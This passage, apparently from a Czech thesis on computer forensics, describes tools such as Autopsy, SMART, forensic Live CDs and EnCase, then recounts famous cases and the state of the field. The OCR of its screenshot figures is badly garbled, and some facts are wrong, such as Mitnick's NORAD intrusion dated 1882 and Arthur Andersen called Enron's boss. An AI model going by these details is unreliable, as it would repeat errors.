K textové aplikaci The Sleuth Kit existuje i graficky front-end s nazvem
Autopsy. Tato aplikace zvlada prakticky vSechny dovednosti, kterymi dis-
ponuje textovy The Sleuth Kit. Pouze je vSe prevlecené do grafického for-
matu, ve kterém si Ize vSechno, jak se rika, "naklikat". To muze byt nékdy
vyhoda, jindy zase ne. Zalezi i na samotném vySetrovateli, jaka verze jemu
vyhovuje. Textové aplikace jsou spustitelné de facto vSude, naopak gra-
fické aplikace této urovné budete schopni spustit pouze na systémech
vybavenymi rozhranim X Window.

Na par obrazcich sejmutych pri uzivani aplikace Autospy ukazi, jak
program vypada. Obrazek 5.1 demonstruje vypis souborti fazenych podle
zmény MAC c¢asu - tzn. to, co by bylo jinak realizovano ru¢né prikazem
ils a mactime.
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CREATE DaTA FiLE CrREATE TIMELINE ViEW TIMELINE View MoTES Howe  CLosz
1 7 X
<- May 2002 Jul 2002 -> m
[Jun - (2002 oK v

e M. -rwxrwirwx 48 0 1121284 Cisysiem32idriveryNTHANDLE SYS 0
Thutun 132002 22209 ac rwxrwxrwx 48 0 263-128-4 Cifsystem32oemnadem inf
Ao 20T 20263 ac rwxrwxrwx 48 0 270-1284 Cisystemd2oemnadim inf

39386 A epwxrwxrwx 48 0 193-128-4 Cifsysiem32/mem.exe

56 mac didrwxrwxrwx 48 0 49-144-T7  Csystem32

Q488 & orwxrwxrwx 48 0 1911284 Csysiem32lsass.exe

Q48K S epwxrwxrwx 48 0 191-128-4 Cisysiem32Nsass.exe (deleted-realloc)

33662 ac  -rwxrwxrwx 48 0 268-128-4 Cisysiem32/oemnadin.inf

HHE00 A& -rwxrwxravx 48 0 185-128-4 Cofsystem32LMREPL EXE

25491 ac  orwxrwxrwx 48 0 269-128-4 Cilsystem32iocmnadlb.inf

24391 ac  -rwxrwxrwx 48 0 26d4-128-4 Cisystem32oemnaden.inf

2297 ac  --rwxrwxrwx 48 0 266-128-4 Cisysiem32/oemnadfd.inf

#5632 & orwxrwxrwx 48 0 179-128-4 Cofsysiem32/kmi386.exe

22296 ac  orwxrwxrwx 48 0 267-128-4 Clsysiem32oemnadim.inf

32016 & pwxrwnrwx 48 0 182-128-4 Cisysiem32abel exe

35225 ac  -Hrwxrwxrwx 48 0 265-128-4 Cisysiem32/oemnadep.inf ,

Obrazek 5.1: Pouziti programu Autopsy - zdroj: www.sleuthkit.org.

Efektivné fungujici je také hledani textovych retézcti (viz obrazek 5.2)
na analyzovaném systému, které jsem jiZ podrobné popisoval.

Nakonec obrazek 5.3 demonstruje vypsani informaci o daném i-uzlu,
které jsem také jiz predvadél prikazem istat.

Na webové strance projektu The Sleuth Kit Ize jesté stahnout utilitu
mac-robber, se kterou lze shromazdovat informace o alokovanych soubo-
rech na pripojenych oddilech.

Samotny The Sleuth Kit integruji dalsi aplikace. Napr. PyFlagﬂ, coz je
projekt, ktery zacal na Australském ministerstvu obrany (Australian De-
partment of Defence). Dale Allinlﬁ, ktery rozsiruje samotny program The
Sleuth Kit o dalsi funkcnosti jako tridéni soubort podle typt, planovani,
atd. Posledni projekt Zeitlineﬂ ktery umoznuje naimportovat vysledky fo-
renzni analyzy z vice systému a srovnat je dohromady.

“Domovska stranka projektu: http://pyflag.sourceforge.net
5Domovska stranka projektu: http://www.netmon.ch/allinl.html

Domovska stranka projektu: http://projects.cerias.purdue.edu/forensics/timeline.php
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FILE ANALYSIS Dara Unir META DaTa IMAGE DETALS  KEYWORD SEARCH FiLe TyPE Hore  ClLose
Lk 1 X
New Search 4 PREVIOUS. MExXT
EXPORT CONTENTS ADD NOTE
ASCI idisplay - rpon) * Hex (display - report) * Swrings (display - mpod)
2 occurrences of - o, Flle Type: den
(1 jan)l(Teb)limar)l{ap A']“’"'ud'“ 266
were found Group: 15
- Pointed to by Inode: 30|54
126615 (Hex - Asii) Pointed to by file:
- string begins at 256 Ibindme
byies —
13“’?*35“1‘-_‘1'153'"1 Hex Contents of Fragmemt 126615 (1024 bytes) in images/dev_hded.img
= siring begins at O bytes
0 25733420 57726974 69606720 GAEEG4ES ¥i8: Writ ing mode
18 20534353 49206d6f E€4652070 61676520 SC5 I mo de p age
iz 6661696 65642e0a 00000000 QOOOOQDOOQ fail @d.. soerv awvn
48 00000000 00000000 OOODOOODOO OOOO0OOODO msss sssa seas mmaas
64 25733a20 436£6dT70 72657373 £96f6e20 is: Comp ress ion
ao GdeL6465 206e6L74 20636861 6e6T76564 mode not cha aged
96 2e0ad000 00000000 OOOOOOOO OOOOOOODO ssss ssss sems mmams
112 040000000 00000000 00000000 Q0OOQOOOO SedE SEIE SEEE EEES
128 25733a20 52652d72 65616420 6L662074 ¥3: Re-r ead of t
144 GRES2063 GfEdTOT72 E571ITIE9 E£622070 he ¢ ompr essi on p
160 GlE6T65I0 6661696 65642ala 0043616d age fall ed.. .Com
176 T0T265T3 TI696f6e 206f6a2e DalDAl6f pres sion of. ..Co
152 Ed707265 TITIESES Co206f6E E62c0ald mpre ssic n of £...
08 00000000 00000000 QDOOQOO0 QOOOOQDODOQ mram wmEr ssmw mmwa
224 00000000 &4bad408 0ODOOOOO00 OOOOOOODO ssnn Bavs swens snaa
240 0000000 00000000 OOO000O00 OOOOOOOD sHaE BEEE SEEE EEES
256 2449643a 20217573 72322175 T3I65T2V3 $ld: Jus ri2fu sers
2712 2fEdE1EDL E9TIELT2 E12£T71372 EI2£T7179 fmak isar afsr cfay
288 T32f6dT4 2d73742d 10203562 2fédTdie g/mt =st= 0.5b /mt.
jod 63206174 2053756e 20417567 20313620 c at Sun hAug 16 v |
izo 30393al35 313al3ll7 2023139%39 182086279 09:5 1:17 199 8 by
E o i 116 0RARTAR ASTIRITY RI4ANDERAT A92mAdART mak imar alka 1.ma b4

Obrazek 5.2: Pouziti programu Autopsy - zdroj: www.sleuthkit.org.

5.3 SMART

Na rozdil od téch dvou predeslych popisovanych aplikaci, které byly volné
dostupné i se zdrojovymi kody, je SMART (Storage Media Archival Reco-
very Toolkit) komercni aplikace. Jedna se o grafickou aplikaci s mnoha
pokrocilymi forenznimi funkcemi. Jeho cena se pohybuje kolem 2 000
USD. Pro americké pravni slozky pak kolem 650 USD.

Software je vyuzivan Sirokou skalou uzivateltl od americkych vojen-
skych a zpravodajskych slozZek, federalnich, statnich a lokalnich zastanct
prava pres specialisty na obnovu dat, forenzni analyzu dat, bezpecnost
dat, auditory az po systémové administratory.

Po spusténi programu SMART jsou rozpoznana vSechna fyzicka zafi-
zeni v systému vcetné zarizenich externich. To dava vysSetrovateli kom-
pletni obrazek o souborovych systémech jednotlivych zarizeni, jejich ve-
likosti a velikosti nealokovaného prostoru. Vice informaci o jednotlivych
oddilech 1ze zobrazit pravym tlacitkem, toto demonstruje obrazek 5.4.
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FILE ANALYSIS DiaTa L META DATA IMAGE DETALS  KEYWORD SEARCH Fe TyPE Hower  ClLose

e { X

MI'IMIW
182-128-4 [ Alen Database  O#

— Details:

w—— Sequence: 1 -

Size: 32016
Links: 1
Name: label exe

SSTANDARD_INFORMATION Times:
Created: Thu Jun 13 21:08:40 2002

File Modified: Mon Oct 14 05:38:00 1996
MFT Modified: Thu Jun 13 21:08:45 2002
Accessed: Thu Jun 13 21:08:40 2002

SFILE_NAME Times:
Created: Thu Jun 13 21:08:40 2002

File Modified: Thu Jun 13 21:08:40 2002
MFT Modified: Thu Jun 13 21:08:40 2002
Accessed: Thu Jun 13 21:08:40 2002

Adttributes:
Type: SSTANDARD_INFORMATION (16-0) Name: N/A Resident size: 48 o
Type: SFILE_NAME (48-2) Name: N/A Resident size: 84
Type: SSECURITY _DESCRIPTOR (80-3) Name: N/A Resident size: 92
Type: SDATA (128-4) Name: SData Non-Resident size: 32016

: 17392

11386 77387 T1388 3
TTi04 TT304 TI10A TTI07 TTI08 T7200 TTAMN T7401

Obrazek 5.3: Pouziti programu Autopsy - zdroj: www.sleuthkit.org.

Navrh samotné aplikace je velmi kvalitni a modularni. Timto Ize jed-
noduse opravovat chyby a rozsirovat funkénosti bez zasahu do jadra apli-
kace.

Mezi zakladni funkcnosti patri:

¢ vytvoreni hashi (digitalnich otiskt) vSech oddila
¢ vytvoreni bitovych kopii oddilt

® obnova dat z bitovych kopii

* bezpecné (nenavratné) odstranovani dat

Co ovsem SMART umoznuje je paralelni provadéni téchto procest jak
je patrné z obrazku 5.5. Lze zaroven mazat oddil, délat kopii jiného a
k tomu analyzovat dalsi. Pri tom lze kazdy z procesu pozastavit, znovu
spustit nebo zrusit.

Program umoznuje vytvorit standardni bitovou kopii. Lze ovSsem také
vytvorit specialni kopii pro uchovavani komprimovanych dat - tzv. Expert
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File Cases Log Help

|[= nfo: fdevhde
| Storage Devices

@"/ fdevihde
Unallocated Data (5.37 ME)
fdevihda (Sector 156,344,580) |Make and Model | MAXTOR 4KDE0H3

Serial Mumber (673131221663
@f :a'lPXd“ml g:t AKDBOHI (55.917 GE) P e 017 o

Bytes | 60,040,544 256
Unallocated Data (315 KE) 040,544,
/devihde (Sector 0) Sectors 117,266,665

Bus Connection | Tediary Master
Linux (83) Partition (7423 GE] )
Tg% fﬂE'-f'fhEﬂE'I] ( Diew bdajor |33

|y Extended (1) Partition (49453 Dev Minor|0
I Jdevihde (Sector 15,566,985) MTogino ] [ Dismss |
Unallocated Data (31,5 KB) —
fdev/hde (Sector 15,566,985)

FAT32 LBA (c) Partition (48483 GE) FS: FAT3Z (my stuff)
Lsen fdewhdeS

Unadlocated Data (11.67 ME)
fdevihde (Sector 117 ,242,370)

(@ IDE-SCSI

-, BTC BCE1G10IM
Y idevrscdo Bus:0 Channal0 Id:0 Lun:0

en USB

@- STOREX AXIS (125.00 ME) F5: FATIG
7 fdevisda Bus:1 Channel:0 [d:0 Lun:0

M S— —_— S}

Obrazek 5.4: Pouziti programu SMART - zdroj: www.asrdata.com.

Witness Compressiorﬂ. Lze si urcit pocet kopii, které ma program vytvorit
a na kolik zarizeni je ma zkopirovat simultanné.

Zaroven s tim vytvari mnoho digitalnich otiskt. A to konkrétné otisk
kazdého oddilu a kazdého zapsaného segmentu s prihlédnutim na chyby
prfi ¢teni. Samozrejméeé umoznuje autentizovat obraz s fyzickym zarizenim.

Co je vyhodou oproti jinym nastrojim, SMART umoznuje pripojit i
souborovy systém se zurnalem, bez toho aniz by ho modifikoval.

Aplikaci 1ze obnovovat kazdy bit aktivnich souborti, smazanych sou-
boru, slack prostora i nealokovanych sektoru.

“Vice o tomto formatu na adrese: http://www.asrdata.com/SMART/whitepaper.html
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O] Tasks X|
Showr Tasks: | Current Tasks =
Search | Funning... [i][=]

10 l]'H searching: fdevihdel
4:03:41 Remnaiting 21.25 MB of 7 423 GB

Filesystem Study = Funnhing. ..

I"U:-! Studying: fdewhdal
Operation Frogress

Acguive | Running... [i][=]

f#:f aT Acquiring: fdewhdad

0:13:20 Remaining 53.50 MEB of 2.007 GB
Wipe  Funning... [i][=]
ot Wiping: fdev/sda

0:00:19 Remaining 1969 ME of 31 .00 MEB
Produce Hash |~ Running... [ur][=]
s
@j Hashing: fdewhdaz

0:05:04 I:ilemajning 14575 ME of 2.007 GB

Rescan Devices  Running...

%‘ ‘ ﬁ:‘, Loading Floppy Devices.

Operation Progress

Obrazek 5.5: Pouziti programu SMART - zdroj: www.asrdata.com.

Jak ukazuje obrazek 5.6, velmi vypracované je vyhledavani textovych
retézcu ve forenznich kopiich. Podporuje regularni vyrazy, rozliSuje roz-
dily v kodovani, atd. Na nalezené retézce lze aplikovat spoustu akci od
jejich zaznamenani, exportovani, vyriznuti Sirsich celktt az po obnovu ce-
Iych soubort obsahujici dany retézec.

SMART také obsahuje kvalitni hexadecimalni editor, ve kterém lze
efektivné a pohodlné prohlizet surova data. VSechny akce, které SMART
provede, jsou logovany. Nelze fici nic jiného, nez ze se jedna o skutecné
kvalitni nastroj pro potreby forenzniho vySetrovatele. Aplikace podava
vSechny potrebné informace a to ve velmi uzivatelsky privetivé forme.
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[=] Searching fdevhdal -

n HPFS/MTFS (7) Partition (21487 GE) Studied: NTFS
SR fdevihdal [ ]

Match Regex: | mythology| | ¥ Ignore Case

Match Flagm wwmﬂwmm i1 | Ignare Case

Pre-Select D . (Dsta keading up 1o the match offset.)

Post-Select (Data starting mom the mafch ofsel. & selects alf matciing byfes.)

Start Regex | w2SPDF | 4] Ignore Case
End Regesx | \25'w25E OF w0d | [ Ignore Case

e ma st vt [ [V8 ] ot it malh, o st it ge_3]

Fallback Range: (4 valie of & will select &0l bytes malching the Stant’regex.)

Obrazek 5.6: Pouziti programu SMART - zdroj: www.asrdata.com.
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5.4 Forenzni Live CD systémy

Toto je vlastnost, ktera déla operacni systém GNU/Linux velmi flexibil-
nim. Vzit CD s bootovatelnym systémem Linux, vlozit jej do CD-ROM me-
chaniky, restartovat pocitac a nabootovat de facto plnohodnotny operacni
systém Linux bez jeho predbézné instalace na disk. Témto systémutim se
rika Linux Live CD. Takova vlastnost muize byt velmi uzitecna pri analy-
zovani cizich systému.

V soucasné dobé existuje mnoho Linux Live CD distribuci. Jejich se-
znam naleznete napf. na webové strance:

http://www.frozentech.com/content/livecd.php.

Hlavnimi predstaviteli jsou ¢eska distribuce SLAXF| a Knoppix’} Exis-
tuji dalsi Live CD zalozené na systémech BSD, OpenSolaris. Na druhou
stranu nenajdete zadnou live distribuci postavenou na MS Windows.

Existuji i Linux Live CD distribuce zameérené praveé na forenzni ana-
lyzu digitalnich dat a ja tu par hlavnich zastupct predstavim.

Prvnim zastupcem je SMART Lin. SMART neexistuje pouze ve
formeé samostatné aplikace, ale také v podobé linuxové distribuce a to
jak klasické instalovatelné, tak ve formé Live CD. Live distribuce ma ex-
celentni rozpoznavani hardwaru. Po zadani prikazu configx a dale startx
se spusti grafické rozhrani Fluxbox, kde snadno spustite samotny pro-
gram SMART a uzivatelsky manual.

Dalsim forenzni live CD linuxova distribuce ma nazev PlanB a sidli na
webové strance: http://www.projectplanb.org. Distribuce je zaloZena na
Red Hat Linuxu. Obsahuje:

* Nastroje pro forenzni analyzu a obnovu dat.

* Nastroje pro systémovou analyzu, sitovou analyzu a bezpecnosti au-
dit.

® IDS systém

8Domovska stranka projektu: http://slax.linux-live.org/
9Domovska stranka projektu: http://www.knopper.net/knoppix/
19Domovska stranka projektu: http://www.asrdata2.com
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A nékteré dalsi nastroje napr. na reporting.

DalSim nastrojem je projekt F.I.R.E. Jedna se o distribuci zprostred-
kovavajici prostredi pro forenzni analyzu, reakci na incidenty, obnovu
dat, antivirové skenovani a hledani bezpecnostnich slabin.

Lze najit i dalsi distribuce orientované na forenzni analyzu jako napr.
FCCU GNU/ Linux Forensic Boot CD (http:/ /www.d-fence.be), Penguin Sle-
uth Bootable CD (http://www.linux-forensics.com). Nakonec bych zminil
projekt SNARL (http://snarl.eecue.com), coz neni distribuce zaloZzena na
Linuxu, ale na systému FreeBSD.

K analyze dikaznich médii neni potreba vzdy pouzivat jen operacni
systém GNU/Linux. MuZeme vyuzit i nastroju pro platformu MS Win-
dows, i kdyz samotny systém Windows neni nativné pro forenzni analyzu
viubec vhodny. A to napr. z jiz zminéného diavodu, Ze implicitné pripojuje
automaticky vSechna nalezena zarizeni, cimz dojde k pozménéni pristu-
povych casti dat na médiu. Takovouto modifikaci si forenzni vySetrovatel
nemuze dovolit.

Nejpopularn¢gjsim zastupcem této Windowsové skupiny je komercni
aplikace EnCase Forensics (http: / /www.guidancesoftware.com). Jeho hlavni
doménou je predevsim snadna ovladatelnost. Obsahuje mnoho pokroci-
Iych funkci, které vyrazné zvysuji efektivitu analyzy. Mezi nékteré jeho
funkce patri:

® Podpora souborovych systému FAT12, FAT16, FAT32, NTFS, EXT,
atd.

* Analyza obsahu souboru a jeho koncovky za ucelem odhaleni po-
kust o skryti dikazt zménou koncovky.

* Schopnost automaticky vyhledat, vyriznout a zobrazit grafické sou-
bory typu GIF, JPG, BMP a mnoho dalsich.

* Schopnost provadét analyzy primo nad diikaznim souborem vytvore-
nym programem EnCase, takZe neni nutné provadét obnovu obrazu
na zvlastni médium.

* Rozsahla moznost vyhledavani retézcu, kterou lze provozovat na po-
zadi, zatimco prohlizite, nebo tridite diikazy na popredi.

"UDomovska stranka projektu: http://fire.dmzs.com
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* Moznost vyhledavat retézce ve vice diikaznich souborech, reprezen-
tujici vice oddilt disku.

A obsahuje mnoho dalSich funkci. Zakladni verze tohoto softwaru stoji
okolo 2400 USD. U verze EnCase Enterprise, ktera umoznuje analyzovat
disky vzdalene€, se cena pohybuje od 22 500 USD az do sedmi mistnich
Cisel.

Mezi dalsi windowsové aplikace urcené pro forenzni vySetrovani patri
napr. Forensic Toolkit spolecnosti AccessData v cené kolem 1000 USD
nebo SafeBack spolecnosti Armor Forensics pro tvorbu bitovych kopii.

Softwaru pro forenzni prizkum je pro rtizné platformy mnoho. Jejich
obsahly seznam naleznete na adresach:

http:/ /www.forensics.nl/toolkits

http://www.forensics.nl/tools
http://www.forensics.nl/integrity-management.
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Kapitola 6

Pocitacova forenzni analyza v
praxi

Pripady spolecnosti Enron, zavrazdéna Zena v jezere Raleigh a Sireni dét-
ské pornografie maji jednu véc spolecnou. VSechny tyto pripady byly nebo
jsou objasnovany pomoci pocitacové forenzni analyzy. Tuto kapitolu za-
¢nu tim, Ze zde predstavim par svetové znamych pripadu, kde pocitacova
forenzni analyza hrala rozhodujici roli v objasnéni pripadu. Zameérne ne-
rikam, Ze je rozhodujici v usvédceni pachatele, protoze jsou pripady, kdy
je obvinény diky forenzni analyze osvobozen. Druhou véci je fakt, ze du-
kazy ziskané touto analyzou nemusi byt jedinymi dikazy. O viné ¢i neviné
rozhoduje soud.

6.1 Medialné znamé pripady

Co spojuje vsechny tyto pripady je skutecnost, Ze zde vétSinou zkoumany
pocitac vystupuje v roli ito¢nika. Termin "atocnik" neni zcela na miste.
Reknéme, Ze jsou to pripady, kdy zkoumané médium neni v roli napa-
deného systému. Je to z toho duavodu, Ze o vySetrovani napr. firemnich
systému po incidentu se v médiich priliS nepiSe. Za prvé nejsou tolik me-
dialné zajimavé a za druhé se firmy snazi incident co nejvice utajit.

Oliver North

Plukovnik Oliver North se snazil zakryt sviij vliv v Iranské afére. Zba-
voval se materiall k pripadu se vztahujicim, mazal relevantni e-maily,
apod. Vsechno jeho snazeni bylo ovSem zbytecné, protoze vlada pouzivala
PROFS (IBM’s Professional Office System) a vSechny e-maily prochazely
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pres centralni mainframe. Povolani kyberdetektivové tyto e-maily obno-
vily a vSe bylo jasneé.

Plukovnik Oliver North byl v roce 1989 obvinén z prijmuti nelegalni
odmeény, z napomahani a spoluviné na obstrukci vySetrovani a zniceni
dokumentti.

Robert Hanssen

Americky Spion a agent kontrarozvédky FBI Robert Hanssen pouzival ke
komunikaci s Ruskou stranou klasického predavani obalek. V roce 2001
byl tento agent zatcen ve staté Virginia za to, ze pri vyméneé obalek pri-
jal 50 000 USD. Byl to vysledek ¢tyr mésicniho vysetrovani FBI. Po tom
co dostali povoleni soudu k prizkumu jeho pocitace, odposlouchavani
mobilniho telefonu a umisténi odposlechu na jeho domovni i telefon v
kancelari, bylo vSe jasné.

Technicky nebyl agent zadny laik. Jeho disk v pocitaci byl zasifrovany,
flash karty i Palm Pilot také. Podle USA Today Hanssen v roce 1990 pro-
nikl dokonce do pocitace nejvyssiho amerického duistojnika kontraroz-
veédky v Rusku. Zaznamy, které pak FBI zverejnila, ukazaly, ze Hanssen
prohlizel pocitace FBI a hledal zaznamy o své osobé v souvislosti se svym
nastavajicim vySetrovanim. V roce 2001 se ke vSem c¢intim Spionaze do-
znal.

Wen Ho Lee

Védec z Los Alamos Wen Ho Lee, ktery kopiroval mezi lety 1993 a 1997 z
tajnych pocitacu skoro jedna a pul gigabajta dat (tj. asi 400 000 stran) o
konstruovani jadernych zbrani a informaci s tim souvisejicich. Postupné
tyto informace vynasel na 8mm paskach na sviij pocitac v kancelari. Kvuli
tomu casto pracoval v noci a musel obejit bezpecnostni straz.

Lee se hajil tim, ze data kopiroval ze strachu z jejich ztraty. OvSsem v
Los Alamos jsou vSechny zalohy, dokonce vcetné vSech stisknutych kla-
ves ulozeny. Lee nakonec 17 pasek vyhodil do odpadu v laboratori. FBI
trvalo nékolik meésicti, nez prohledali skladku, kam laborator odpad svazi.
Deset pasek bylo nalezeno na skladce v Novém Mexicu. Byly poskozené a
forenzni specialisté byli schopni vétSinu dat obnovit. Zjistilo se, Ze pasky
s pripadem nesouvisi. Hledané pasky se nikdy nenasly.
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Forenzni specialisté obnovily smazana data ze tri pasek a data v jeho
pocitaci, nalezeném v jeho kancelari. Nikdy nepriznal svoji zainteresova-
nost ve Spionazi a byl soudem v 58 bodech z 59 osvobozen.

Larry Ellison

Zameéstnankyné korporace Oracle Adelyn Lee vyhrala soudni spor s pre-
sidentem Oraclu Larry Ellisonem, na kterém vysoudila 100 000 USD za
to, ze byla propusténa ze zaméstnani za to, ze odmitla sexualné oriento-
vanou nabidku. Larry byl obecné svym chovanim velmi pratelsky, hodné
vtipkoval a pro zeny byl snadnym cilem. Faktem bylo, ze tyto dvé zminéné
osoby mezi sebou udrzovali vice nez pratelsky vztah a faktem také bylo,
Ze Adelyn Lee byla propusténa pét dni po jejich posledni schtizce.

Dtikaznim materialem byl krome jinych diikazt také e-mail adresovan
Adelyn Lee od jejiho nadrizeného viceprezidenta Craiga Ramseyho, kde ji
informoval o tom, Ze je na popud Larryho Ellisona propusténa. Elektro-
nické zaznamy prokazaly, Zze Ramsey nemohl e-mail odeslat, protoze v
tu dobu, kdy byl e-mail poslan, zrovna ridil automobil, coz prokazaly za-
znamy jeho mobilniho telefonu. Zjistilo se, Ze Zena znala pristup do Ram-
seyho e-mailové schranky. VSe nabralo rychly spad a Zena byla obvinéna
z faleSného obvinéni a falSovani dakazu.

Kevin David Mitnick

Kevin Mitnick je povazovan za nejznaméjsiho hackera na svété. Toto je
nutné brat s jistym nadhledem, protoze jeho pripad byl velmi zmediali-
zovan a mozna také mel slouzit jako odstrasujici pripad. Mitnick se jiz
v détstvi zajimal o telefonni sité, dokazal realizovat dalkové hovory zcela
zadarmo. V roce 1882 pak pronikl do systému North American Aerospace
Defense Command (NORAD). Také v 80. letech ovladal tri telefonni cent-
raly v New Yorku a vSechny telefonni ustredny v Californii.

V roce 1989 byl souzen za kradeZ proprietarniho softwaru v hodnoté
1 milion USD ze spolecnosti MCI a Digital Equipment Corp. Dostal pod-
minku, kterou porusil v roce 1991, kdy se naboural do hlasového sys-
tému spolecnosti Pacific Bell. Od té doby je na utéku. Roku 1995 byl
znova zatcen a to za nelegalni drzeni souborti ukradenych ze spolec¢nosti,
kradeze korporativnich tajemstvi, preprogramovani telefonnich ustreden
a nabourani se do systému narodni obrany. Mezi poskozené spolecnosti
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patri napr. Motorola, Sun Microsystems, Nokia Mobile Phones, Fujitsu,
Novell, NEC, Colorado SuperNet nebo univerzita University of Southern
California. Toto ho vyneslo na prvni pricku nejhledanéjSich osob FBI.
Uvadi se, ze celkova skoda zpusobena jeho jednanim, se vySplhala na 80
miliont USD.

Kdo Mitnicka nakonec vypatral, nebyla vlada, ale védec Tsutomu Shi-
momura, ktery pozdeji pracoval jako specialista na informacni bezpec-
nost v San Diego Supercomputer Center. OvSem vubec to nebyla snadna
prace Mitnicka dopadnout.

Mitnick umistil na skrytém konté serveru The Well néjaka data. Tech-
nicky manager tohoto serveru tuto situaci vyhodnotil jako potencialni
prunik do systému, rozpoznal v datech e-mail, ktery patril Shimomurovi
a napsal mu, ze data obsahuji podezrely material. Shimomura ve spolu-
praci s FBI méli podezreni, ze se jedna o Mitnickovu praci. A také to, ze
realizoval spojeni z mobilniho modemu do Netcomu v Raleigh N.C. Spo-
jeni bylo zachyceno ze spolecnosti GTE Corp., ale nebylo mozné presné
urcit kym byl hovor realizovan. Shimomura s forenznimi vySetrovateli od-
hadli pozici nékde blizko mezinarodniho letiSté Raleigh-Durham. To zjis-
tili tak, Ze cast cisla spojeni je unikatni ¢islo zarizeni, ze kterého je hovor
realizovan. Zacalo patrani po prepinaci, ktery pouzil hledané telefonni
c¢islo. Po identifikovani prepinace nasledovalo dalsi porovnavani zaznamu
a hledani, z které bunky bylo spojeni uskutecnéno. Kdyz FBI méla pri-
bliznou geografickou polohu, odkud byl hovor realizovan, nasli konkrétni
polohu Mitnicka frekvencnim detek¢nim zafizenim, kterym mohli zachy-
tavat praveé ono unikatni ¢islo zarizeni.

Kevin Mitnick byl 5 let véznén do roku 2001 a po propusténi nesmél
do roku 2003 pouzivat pocitace.

Téch pripadu je k dneSnimu dni velmi mnoho, proto je zminim je
strucné. V pripadé energetického gigantu Enron, ktery falSoval ucetnic-
tvi, museli specialisté na forenzni analyzu obnovit smazana data. K od-
stranéni dat dal prikaz sam jeho Séf Arthur Andersen. Z obnovenych
souboru bylo sestaveno dtikazni portfolium. O pripadu piSe portal Busi-
nessWeek.com [35].

_ Okolnosti o Zené nalezené v jezefe Raleigh nebyly zprvu prilis jasné.
Castecné podezreni padalo na jejiho manzela, o kterém meéli pochybnosti
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i jeho synové. Po prohledani jeho pocitace se zjistilo, ze pred smrti Zeny
vyhledaval v internetovém vyhledavaci Google slova jako "neck," "snap,"
"break" a "hold", coz z n€j udélalo hlavniho podezrelého. Vice informaci o
pripadu poskytuje server WRAL.com [22].

Operace britské policie Ore si Zzadala rozsahlou forenzni praci, kterou
nakonec vyhodnotila NCS (National Crime Squad) na 15 miliont liber
sterlingu. Jednalo se o pripad gangu, Siriciho détskou pornografii. Ope-
race zacala po tom, co FBI skoncila svoji praci v ramci USA. Britska po-
licie dostala informace o sedmi tisicich obcanti Velké Britanie, které byli
néjakym zptiisobem do pripadu zapojeni. Samotné vySetrovani dukaznich
meédii trvalo par let. O pripadu piSe server Silicon.com [25].

Stal se i pripad, kdy pocitacova forenzni analyza osvobodila nespra-
vedliveé obvinéného. Julian Green byl zatcen roku 2002 po tom, co policie
nasla v jeho pocitaci takrka dvé stovky obrazkti spadajici do kategorie
deétské pornografie. Obraz disku byl poslan na forenzni expertizu, kde se
zjistilo, Ze pocitac byl infikovan jedenacti trojskymi konmi, které se bez
jeho védomi pripojovali na inkriminované webové stranky a obrazky sta-
hovaly. Na zakladé tohoto byl osvobozen ve vSsech 13 bodech obzaloby.
Podobnych pripadu se jiz stalo nekolik a netykaly se pouze détské porno-
grafie. Vice informaci nabizi server TheRegister.com [23].

Takhle bych mohl pokracovat dal. Co déla pripady zajimavé je prede-
vSim provazani svéta virtualniho se svétem fyzickym. Lidé ¢asto o tom
virtualnim svéte nemaji takové povédomi jako o tom fyzickém. Nevedi, ze
znicit digitalni data prakticky nejde. Ze to neni jako spalit list papiru.
Stejneé tak jako si stale hodné lidi neuvédomuje, Ze Internet neni tak ano-
nymni, jak si stale mysli. VétSina akci, které na Internetu provedeme,
tam zanechaji dlouho nesmazatelnou stopu. TakZe pocitacova forenzni
analyza se stava béznou rutinou jiz prakticky v kazdém vySetrovaném
pripadé. Neni tomu tak ovSem vSude a proto vam ted priblizim uroven
oboru pocitaéové analyzy v Ceské Republice a ve svéte.

6.2 Situace ve svéteée

Ve statech jako USA, Velka Britanie nebo Australie je forenzni analyza di-
gitalnich dat na velmi vyspélé tirovni. Napr. v USA se timto oborem zaby-
vaji ve vSech sektorech - federalnim, statnim i soukromém. Svoje pocita-
cové forenzni divize ma americké ministerstvo spravedlnosti, ministerstvo
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pro energii nebo instituty National Institute of Justice, Air Force Institute
of Technology, a dalsi. NASA Computer Crimes Division je napriklad nazev
divize pro pocitacové zlociny agentury NASA (National Aeronautics and
Space Administration).

Nejznameéjsi organizaci pro vysetrovani vseho druhu je americka FBI
(Federal Bureau of Investigation). Neni proto divu, Ze ona disponuje roz-
sahlymi prostredky a armadou vySetrovatelti. V tiinoru roku 2006 byla
dokonce zaloZena nova divize pro boj s kyberkriminalitou. Byla to zrejmeé
reakce na nekontrolované Sireni utoku na Internetu. Divize by vznikla
primo na velitelstvi FBI a méla by za ukol koordinovat kyberzlocin.

Jako soucast této divize by dale vznikly trénované kybertymy slozené
z agentu a analytikti, kteri by meli na starosti vySetrovani a hledani
prostredktl proti prunikiim do systému, kradeze dusevniho vlastnictvi
a osobnich informaci, Sireni détské pornografie nebo online podvodum.
Dalsi casti této divize by byly reakcni tymy, které by puisobily celosvetove.
Pri vyskytu incidentu by pricestovaly na misto a asistovaly pri vySetrovani
téchto pripadt a nasledné by shromazdovaly zasadni informace, které by
pomohly identifikovat kyberzloc¢iny, které jsou nejvice nebezpecné pro na-
rodni bezpecnost a ekonomiku. Byla by zde i skupina, ktera by synchroni-
zovala informace z federalnich, statnich a lokalnich zdroji. Predpoklada
se také rozsahlejsi spoluprace s americkymi tajnymi sluzbami.

V soukromém sektoru najdeme opravdu mnoho firem, které se zaby-
vaji vyhradné a pouze forenzni analyzou digitalnich dat, popf. specialné
pak obnovou dat. Tyto firmy nabizeji sluzby v této oblasti a casto nabi-
zeji i vlastni software pro vySetrovani. Nema cenu zde délat néjaké roz-
sahlé vycty téchto firem, proto jen namatkoveé: Computer Forensics Inc.,
Inforenz, Global Digital Forensics, Digital Forensics Professionals Inc., a
mnoho dalsich.

Sva oddéleni pro forenzni analyzu digitalnich dat maji i svétové znamé
konzultac¢ni firmy PricewaterhouseCoopers a Ernst & Young. Svoje fo-
renzni tymy ma i gigant Microsoft.

Dale existuji dalsi forenzni laboratore a neziskové organizace sdru-
Zujici forenzni specialisty. Mezi takové organizace patfi napr. The Inter-
national Association of Computer Investigative Specialist (IACIS), ktera vy-
Skoluje predevsim slozky hajici pravo pro praci forenznich vySetrovateli.
Nebo koordinacni centrum CERT (CERT Coordination Center).
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Samozrejmé se vse netoc€i kolem USA. V Evropé existuje ENFSI (Eu-
ropean Network of Forensic Science Institutes), ktery byl zalozen s cilem
